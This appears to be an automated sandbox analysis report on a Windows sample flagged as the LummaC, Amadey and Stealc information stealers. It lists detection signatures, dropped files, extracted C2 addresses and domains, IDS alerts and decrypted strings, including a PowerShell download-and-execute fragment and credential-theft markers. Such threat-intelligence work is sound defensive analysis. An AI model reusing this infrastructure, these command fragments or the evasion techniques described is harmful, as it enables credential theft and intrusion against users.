Edit tour

Windows Analysis Report
Idau8QuYa3.exe

Overview

General Information

Sample name:	Idau8QuYa3.exe renamed because original name is a hash value
Original sample name:	0f02b493551249ebec8e7f1f77d27e03.exe
Analysis ID:	1581217
MD5:	0f02b493551249ebec8e7f1f77d27e03
SHA1:	b0123e2635b273edaa243e3984491186a6dd823d
SHA256:	d7e35944454fa434b36485ab788b3ae09a01e4d8f1b2b9ecc991e248c9e65456
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Idau8QuYa3.exe (PID: 7332 cmdline: "C:\Users\user\Desktop\Idau8QuYa3.exe" MD5: 0F02B493551249EBEC8E7F1F77D27E03)

1NOXIMLR48PMTW843DD15CVQV9KVD.exe (PID: 7852 cmdline: "C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe" MD5: 17D940E3012D0A3589F9DCB08CB8AACB)

15E9YUDKFQLPC478BWEBATDC87A.exe (PID: 8012 cmdline: "C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe" MD5: 0A0F11159921131E89D2E3203E99B1F6)

skotes.exe (PID: 8184 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0A0F11159921131E89D2E3203E99B1F6)

skotes.exe (PID: 3756 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0A0F11159921131E89D2E3203E99B1F6)

skotes.exe (PID: 2992 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0A0F11159921131E89D2E3203E99B1F6)

f5a1a3b065.exe (PID: 3288 cmdline: "C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe" MD5: 71B104246AC3F43D058E7C67E8B07DEF)

soonmaintain.exe (PID: 396 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe MD5: 92A9F111C456947F39B59EB9F13E4BF6)

rundll32.exe (PID: 6888 cmdline: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\" MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["inherineau.buzz", "appliacnesot.buzz", "screwamusresz.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "hummskitnj.buzz", "scentniej.buzz", "prisonyfork.buzz", "mindhandru.buzz"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2098971560.000000000084E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2099361572.0000000000DF1000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2945928441.00000126543C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: Idau8QuYa3.exe PID: 7332	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Idau8QuYa3.exe PID: 7332	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Idau8QuYa3.exe PID: 7332	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe PID: 7852	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe PID: 7852	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: soonmaintain.exe PID: 396	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.soonmaintain.exe.126543c0000.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
6.2.skotes.exe.1c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.skotes.exe.1c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.15E9YUDKFQLPC478BWEBATDC87A.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.skotes.exe.1c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe, ProcessId: 3288, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:44:53.228171+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.11.101	443	TCP
2024-12-27T08:44:55.450501+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.11.101	443	TCP
2024-12-27T08:44:57.969662+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.11.101	443	TCP
2024-12-27T08:45:00.197136+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.11.101	443	TCP
2024-12-27T08:45:02.440117+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.11.101	443	TCP
2024-12-27T08:45:06.112190+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.11.101	443	TCP
2024-12-27T08:45:08.806870+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	104.21.11.101	443	TCP
2024-12-27T08:45:14.980925+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:44:54.142984+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.11.101	443	TCP
2024-12-27T08:44:56.211037+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.11.101	443	TCP
2024-12-27T08:45:15.753940+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49743	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:44:54.142984+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:44:56.211037+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.11.101	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:45:01.036715+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49733	104.21.11.101	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:45:30.184360+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:46:37.113156+0100	2856121	1	A Network Trojan was detected	192.168.2.4	49860	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:46:05.760499+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49783	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:46:35.676201+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49838	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:46:29.127940+0100	2803305	3	Unknown Traffic	192.168.2.4	49839	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Idau8QuYa3.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpncoded	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/api7	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz//	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/b	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpnu	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apis92o4p.default-release/key4.dbPK	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiz	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apiF	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/s	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php32D	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/zipcryptservice/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedY	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpded;	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/es7	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php(2	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpn	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Avira: detection malicious, Label: HEUR/AGEN.1309903
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaiintain.exe	Avira: detection malicious, Label: HEUR/AGEN.1309903
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1309903

Found malware configuration

Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: Idau8QuYa3.exe.7332.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["inherineau.buzz", "appliacnesot.buzz", "screwamusresz.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "hummskitnj.buzz", "scentniej.buzz", "prisonyfork.buzz", "mindhandru.buzz"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaiintain.exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: Idau8QuYa3.exe	Virustotal: Detection: 55%			Perma Link
Source: Idau8QuYa3.exe	ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaiintain.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Idau8QuYa3.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 185.215.113.43
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Zu7JuNko/index.php
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: S-%lu-
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abc3bc1985
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: skotes.exe
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Startup
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Programs
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: %USERPROFILE%
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: clip.dll
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: http://
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: https://
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /quiet
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Plugins/
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: &unit=
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shell32.dll
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: kernel32.dll
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProgramData\
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: AVAST Software
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Kaspersky Lab
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Panda Security
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Doctor Web
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 360TotalSecurity
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Bitdefender
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Norton
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Sophos
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Comodo
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: WinDefender
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 0123456789
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ------
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ?scr=1
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ComputerName
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -unicode-
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: VideoID
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProductName
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: CurrentBuild
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32.exe
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: "taskkill /f /im "
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && timeout 1 && del
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: && Exit"
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && ren
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Powershell.exe
